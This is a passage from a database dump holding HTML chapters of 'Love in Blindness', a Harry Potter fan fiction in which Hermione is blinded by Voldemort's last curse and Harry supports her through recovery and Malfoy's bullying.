style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Come on Harry,\nyou&#8217;ve got to eat something,&#8221; Ron said.&nbsp;\nHarry didn&#8217;t move let alone acknowledge Ron&#8217;s presence.&nbsp; He simply continued staring at Hermione\nstill as a statue.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron turned to the\npeople in the doorway, namely the other seventh year Gryffindors Dean Thomas,\nLavender Brown, Neville Longbottom, Parvati Patil, and Seamus Finnigan.&nbsp; They shrugged and urged Ron to continue.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Come on Harry,&#8221;\nRon urged.&nbsp; &#8220;You can&#8217;t waste your life\nlike this, especially now that You-Know-Who&#8217;s gone.&nbsp; What would Hermione say about you wasting away like this?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry still\nremained completely still.&nbsp; Ron sighed\nsadly and was about to leave when Harry suddenly spoke.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;She shoved me out\nof the way.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Relieved to\nfinally get a reaction out of Harry, Ron turned back to his best friend and\nsaid, &#8220;Yeah, I know.&nbsp; I was there.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;She shoved me out\nof the way,&#8221; Harry said.&nbsp; &#8220;It should&#8217;ve\nbeen me who took the effect of that curse.&nbsp;\nI&#8217;m supposed to be the one lying on the bed here, not her!&nbsp; Its my fault she&#8217;s like this!&#8221;&nbsp; By this point he was practically yelling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Mate, if it\nweren&#8217;t for you...&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;If it weren&#8217;t for\nme Ron,&#8221; Harry chocked back a sob.&nbsp;\n&#8220;Hermione would be up and well nagging you about not studying for the\nN.E.W.T.s or something like that!&nbsp; Not\nlying here.&nbsp; Not lying here...&#8221; Slowly,\nHarry became quiet and resumed his previous statue like state.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry,&#8221; Ron was\nabout to say something when he felt a hand on his shoulder.&nbsp; Turning around, Ron was startled to find\nAlbus Dumbledore standing behind him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Let him be,&#8221;\nDumbledore said.&nbsp; &#8220;He will come out of\nit when he is ready.&nbsp; Until then, we should\njust leave him alone.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Days passed and\nstill Hermione did not wake up nor did Harry move.&nbsp; Finally, the day came that marked a full week from the final\ndefeat of Voldemort.&nbsp; A full week of\nstaying awake finally catching up to him, Harry was dozing with his head on\nHermione&#8217;s pillow when he felt movement next to him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry&#8217;s head\nsnapped up to see Hermione stirring, soft moans escaping from her lips.&nbsp; Her bushy brown hair started to shift,\ngiving it a golden glow like a halo in the sunlight and her eyelashes started\nto flutter.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ecstatic, Harry\nsmiled his first genuine smile in a week as sprang from his chair.&nbsp; He considered calling Madame Pomfrey but\ndecided against it; for some reason he didn&#8217;t understand why, he wanted to make\nsure that his face was the first face Hermione saw when she woke up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hermione?&#8221; he\nwhispered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry?&#8221; Hermione\nmoaned.&nbsp; Her eyes were still\nclosed.&nbsp; &#8220;Is that you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Yes, its me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh Harry,&#8221;\nHermione sat up and threw her arms around Harry.&nbsp; Though her eyes were still closed, she was able to tell where he\nwas by the sound of his voice and the feeling of his presence.&nbsp; &#8220;Oh Harry, I was so scared,&#8221; she gushed,\ntears leaking out of her closed eyelids.&nbsp;\n&#8220;Are you OK?&nbsp; Did he harm you in\nsome way?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I&#8217;m OK,&#8221; Harry\nsaid.&nbsp; &#8220;You&#8217;re OK, we&#8217;re all OK,\nVoldemort&#8217;s gone.&nbsp; He can&#8217;t harm any of\nus anymore.&nbsp; Everything&#8217;s going to be\nall right from now on.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione smiled\nthrough her tears and opened her eyes.&nbsp;\nHer smile was soon replaced with a frown and she said, &#8220;Um, Harry, is it\nnight?&nbsp; Could you turn the light on, I\ncan&#8217;t see anything.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione felt\nHarry tense.&nbsp; &#8220;Hermione, its one in the\nafternoon.&nbsp; The sun&#8217;s out.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione started\nshaking, as if she was suddenly frightened of something.&nbsp; Feeling a chill creep up his spine, Harry\npulled back and looked into her eyes for the first time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Her usually bright\nchocolate brown eyes, were dull as if there was no sign of life in them.&nbsp; Harry was shocked as Hermione started to\ntremble, tears leaking out of her dulled eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry?&nbsp; What&#8217;s wrong with me?&#8221;&nbsp; But she already knew the answer.&nbsp; Both of them did, the fear and shock hanging\nover them like an omen.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione was\nblind.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>To be\ncontinued...</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(47, 2, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>~ Love in\nBlindness ~ Part 2</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What do you mean\nyou can&#8217;t do anything?!&#8221; Ron Weasley shouted.&nbsp;\n&#8220;You&#8217;ve got to be able to do something for her!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Madame Pomfrey\nsighed sadly.&nbsp; &#8220;I&#8217;m sorry Mr.\nWeasley.&nbsp; I&#8217;ve tried everything I know\nand nothing has worked.&nbsp; If this\nblindness had been caused by some physical accident I could fix it easily, but\nI have no idea what curse You-Know-Who used on her to cause this.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;It is my belief,&#8221;\nDumbledore said, &#8220;that not even Voldemort himself would know what curse he\nused. &nbsp;He must&#8217;ve simply shot the first\ncurse he could think of with his dying breath, not caring what damage it caused\nso long as it caused harm.&#8221;&nbsp; The old\nheadmaster shook his head.&nbsp; &#8220;I&#8217;m sorry,\nthere&#8217;s nothing more we can do for her.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;How are we\nsupposed to tell her?&#8221; Harry muttered bitterly.&nbsp; &#8220;How are we supposed to tell her that?&nbsp; She&#8217;s already had so much sadness in her life, including the\nmurder of her parents two years ago.&nbsp;\nHow are we supposed to tell her that she&#8217;s blind for life?!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Harry...&#8221; Ron\nplaced a hand on Harry&#8217;s shoulder but Harry viciously brushed it off.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Its all my\nfault!&#8221; he shouted.&nbsp; &#8220;If it weren&#8217;t for\nme, none of this would&#8217;ve happened!&nbsp; I\nshould&#8217;ve just never existed!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;You know that&#8217;s\nnot true!&#8221; Ron shouted.&nbsp; &#8220;If it weren&#8217;t\nfor you, You-Know-Who would still be around!&nbsp;\nYou&#8217;ve saved the bloody world again!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Mr. Weasley is\nright, Harry,&#8221; Dumbledore said.&nbsp; &#8220;If it\nweren&#8217;t for you, Voldemort would still be in control and we would all be far\nworse off.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry said nothing\nbut it was clear that he had calmed down.&nbsp;\nWith a sad sigh, he said, &#8220;I&#8217;ll go tell her,&#8221; and gloomily walked into\nthe hospital wing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;H-Harry, is that\nyou?&#8221; Hermione called out as Harry walked into the room.&nbsp; Harry felt his heart break as he glanced at\nHermione curled up on her bed.&nbsp; She\nlooked so small and vulnerable, and it was clear that she was terrified.&nbsp; Harry could only hope to imagine what she\nwas going through.&nbsp; He remembered a time\nback when he was about seven when the Dursleys had locked him into the cupboard\nwith the lamp broken for three days.&nbsp;\nThe sheer darkness during that time had been so frightening.&nbsp; How could he tell Hermione that she was\ngoing to spend the rest of her life in that darkness?</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Yeah its me,&#8221;\nHarry said.&nbsp; He lost his voice in his\nthroat and couldn&#8217;t continue speaking.&nbsp;\nIt was clear however that Hermione instantly figured out what Harry was\ngoing to say, the silence giving her the dreaded answer.&nbsp; Tears started to stream down her cheeks as\nsilent sobs shook her body.&nbsp; Harry made\nhis way over to her and wrapped his arms around her.&nbsp; Hermione leaned her head on Harry&#8217;s chest and continued crying as\nHarry also let a few tears fall from his eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Finally, Hermione\nspoke, &#8220;Well I suppose it can&#8217;t be completely bad, right?&nbsp; At least I&#8217;m still alive.&#8221;&nbsp; She managed a small smile though the tears\ndid not stop.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Yes,&#8221; Harry\nsaid.&nbsp; &#8220;I&#8217;ll help in whatever way\npossible so that you can live your life just like all of us.&#8221;&nbsp; He bent over and kissed her hair.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Classes started\nagain and life at Hogwarts soon returned to normal.&nbsp; Although Hermione was excused from classes for the time being, it\nwas clear that she didn&#8217;t want to be.&nbsp;\nShe may have lost her eyesight but she had certainly not lost her thirst\nfor knowledge.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Madame Pomfrey\nhelped Hermione change into her standard school uniform, helping her into the\nholes in the clothes that Hermione couldn&#8217;t see.&nbsp; Unfortunately, the first class Hermione had was Arithmancy,\nmeaning that she couldn&#8217;t be with Harry and Ron who had Divination.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Using her wand,\nHermione managed to easily maneuver her way through the castle with the use of\na handy guidance charm.&nbsp; The sight of a\ngirl walking around with her wand sticking out in front of her in her hand was\na slightly weird sight but since Hermione couldn&#8217;t see the expressions of other\npeople, she really didn&#8217;t care what she looked like.&nbsp; By delving into her studies, she could keep her mind off of the\nfact that she was blind and she just might&#8217;ve been able to get through the day.&nbsp; Dumbledore had given her a special reading\ncharm that worked like the muggle form of reading called brail.&nbsp; With this charm, Hermione simply ran her\nfinger over the words of the book and the words formed in her mind.&nbsp; Thus, she was able to pursue her favorite\nhobby.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">After a successful\nArithmancy lesson, Hermione was in much better spirits than she had been in\ndays.&nbsp; Using her wand, she was\nnavigating through the hallways hoping to get to her next class when an eerily\nfamiliar voice called out, <i>&#8220;Expelliarmus!&#8221;</i>&nbsp; To her alarm, Hermione&#8217;s wand flew out of her hand.&nbsp; Furthermore, someone suddenly pushed her\ndown the stairs.&nbsp; She landed in a\ncrumpled heap at the bottom of the steps and moaned in pain.&nbsp; Tears sprang in her eyes as she tired to\npull herself back up despite the pain in her sprained ankle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Ta-ta\nmudblood.&nbsp; No getting up yet,&#8221; sneered a\nfamiliar voice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;M-Malfoy?&#8221;\nHermione said.&nbsp; The fear was clear in\nher voice as she tried to pinpoint where exactly Draco Malfoy was.&nbsp; &#8220;W-where are you?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Awww, what&#8217;s the\nmatter?&nbsp; Can&#8217;t the mudblood see?&#8221; said\nMalfoy as he circled around Hermione.&nbsp;\nHe had never seen Hermione so scared before and it gave him a certain\nsense of power over her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;P-please, can I\nhave my wand back?&#8221; Hermione whispered, more tears falling out of her\neyes.&nbsp; Malfoy for his part couldn&#8217;t be\nbelieve that he had reduced Hermione Granger, whom had always simply ignored\nhis taunts and had even slapped him once, to begging.&nbsp; Her blindness had clearly rattled her more than even she herself\nhad realized.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Oh, I don&#8217;t\nknow,&#8221; Malfoy said.&nbsp; He paused to give\nthe illusion as if he were actually considering it and said, &#8220;No, I think I&#8217;ll\njust torment you a little more.&nbsp; You\nknow what?&nbsp; In fact, I think I&#8217;ve got a\nbetter use for you now.&#8221;&nbsp; A sick grin\nadorned his face as he grabbed Hermione&#8217;s arm and yanked her to her feet.&nbsp; Hermione yelped in pain as Malfoy proceeded\nto drag her away, the terror on her face clearly visible.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Let her go,\nMalfoy!&#8221; called a voice that sounded like a song of angels to Hermione.&nbsp; It was Harry, his green eyes blazing with\nrage and His wand pointed at Malfoy&#8217;s face.&nbsp;\nBehind him, Ron looked like he was ready to throttle Malfoy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Don&#8217;t you dare\ntouch her!&#8221; Harry hissed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Malfoy smirked and\nshoved Hermione into Harry&#8217;s arms.&nbsp; He\nthrew her wand at their feet and stalked away, laughing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione burst\ninto tears and buried her head in Harry&#8217;s chest.&nbsp; &#8220;H-Harry,&#8221; she said.&nbsp; &#8220;I-I\nwas so scared.&nbsp; I&#8217;ve never been scared\nof Malfoy before, but I w-was begging.&nbsp;\nBecause I couldn&#8217;t see him I was so scared.&nbsp; I-I don&#8217;t know if I can live like this.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Its OK,\nHermione,&#8221; Harry said soothingly.&nbsp; &#8220;He&#8217;s\nnot going to hurt you anymore.&nbsp; I won&#8217;t\nlet anyone hurt you anymore.&#8221;&nbsp; Harry\nnoticed Hermione&#8217;s sprained foot and scooped her up.&nbsp; &#8220;Come on, let&#8217;s get you to the hospital wing.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry proceeded to\ncarry Hermione toward the hospital wing and Hermione leaned her head on Harry&#8217;s\nshoulder, drawing in his warmth and security.&nbsp;\nBehind them, Ron trotted along, his former angry faced now laced with a\nsense of epiphany.&nbsp; Ron had been\nstudying the way Harry was looking at Hermione closely and had come to a\nconclusion.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well what do you\nknow?&#8221; Ron muttered to himself.&nbsp; And\ndespite everything, Ron couldn&#8217;t help but smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>To be continued...</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(47, 3, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char"><b>~ Love in\nBlindness ~ Part 3</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">The months flew by\nand Hermione quickly fell back into her standard routine.&nbsp; Despite her handicap, she easily balanced\nstudying for the N.E.W.T.s and her Head Girl duties quite easily.&nbsp; She added a few charms on her clothing,\nwhich gave her a mental picture of her location in the castle, making going\nfrom place to place a lot easier.&nbsp;\nAlmost immediately, laughter returned to Hermione&#8217;s face and the area of\nthe Gryffindor table that was always reserved for the trio was finally\nrelishing in the defeat of Voldemort.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">It happened one\nafternoon just a few days before the graduation ball.&nbsp; Hermione had just completed her final N.E.W.T. exam and was in\nhigh spirits when Draco Malfoy crept up behind, a sick grin adorning his face;\nit was clear that he was hoping to pick up from where he had left off a few\nmonths earlier.&nbsp; However, just when\nMalfoy was about to raise his wand, Hermione spun around and shouted, <i>&#8220;Expelliarmus!&#8221;</i>.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Malfoy was flung\nback into the wall while his wand 